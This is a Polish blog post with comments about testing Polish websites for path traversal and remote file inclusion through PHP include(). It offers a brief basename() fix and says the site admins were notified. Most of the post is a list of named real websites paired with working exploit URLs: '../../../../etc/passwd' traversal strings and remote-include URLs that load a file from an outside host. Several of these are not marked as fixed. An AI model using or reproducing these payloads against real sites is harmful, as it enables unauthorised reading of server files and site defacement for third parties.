Odporność polskich stron na ataki typu path traversal

Ponad tydzień temu postanowiłem sprawdzić odporność polskich stron na atak typu „path traversal” (jest to atak polegający na dostaniu się do pliku lub katalogu na serwerze normalnie niedostępnego) oraz na atak związany z dołączaniem(includowaniem) plików ze stron zewnętrznych. O dziwo jeszcze dziś, kiedy tak wiele mówi się o zabezpieczeniach serwerowych oraz środowiska aplikacji(np. skryptów php), zdarzają się witryny, które wręcz krzyczą „zhakuj mnie”. Agresor, dzięki błędom wykorzystującym polecenie include(ew. require) ma możliwość inegerencji w strukturę plików serwera, co w rezultacie może doprowadzić do pobrania pliku /etc/passwd lub podmianę strony głównej witryny. Z praktycznego punktu widzenia programowania skryptów php wystarczy kilka linijek aby zabezpieczyć się przed tego typu błędami.

$file = $_GET['file'];
$file = basename($_GET['file']);
include('includes/'.$file.'.php');

Po znalezieniu stron podatnych na atak path traversal wysłałem do adminów maila z powiadomieniem o istnieniu takich błędów. Jak to zwykle bywa niektórzy zareagowali natychmiast, inni zaś pewnie „olali” sprawę, mając ponad tydzień czasu na poprawę bezpieczeństwa.

Poniżej zamieszczam spis stron jakie znalazłem na szybko w sieci. Niektóre z nich zostały poprawione.

http://www.nurkowanie.ustka.pl/index.php?file=
../../../../etc/passwd

http://www.fitness-klub.com.pl/instruktorzy/index.php?file=
aerobikagnieszka.php (url zew)
http://www.fitness-klub.com.pl/instruktorzy/index.php?file=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt

http://www.kruklanki.turystyczny.pl/index.php?file=
http://onet.pl (url zew)
http://www.kruklanki.turystyczny.pl/index.php?file=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt

http://www.cez.org.pl/pliki/index.php?file=
../../../../etc/passwd

(poprawione) http://www.zss.tarnow.pl/publikacje/index.php?plik=
../../../../etc/passwd (url zew)
(poprawione) http://www.zss.tarnow.pl/publikacje/index.php?plik=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt

(poprawione) http://www.wios.bydgoszcz.pl/index.php?plik_php=
../../../etc/passwd
http://www.wios.bydgoszcz.pl/index.php?plik_php=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt

4 thoughts on “Odporność polskich stron na ataki typu path traversal

  1. Budowanie w ten sposob stron w PHP zakrawa tym bardziej o kpiny. W sumie, przykladajac sie forum.php.pl widac, ze szczegolnie poczatkujacy uzywaja includow w zaleznosci od $_GET.

  2. nie da się ukryć, że świadczy to albo o nieumiejętności pisania w php, albo o uzywaniu gotowych rozwiązań.
    z drugiej strony, skąd wiesz, że nie dostajesz się do pliku uwięzionego w jailu?

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *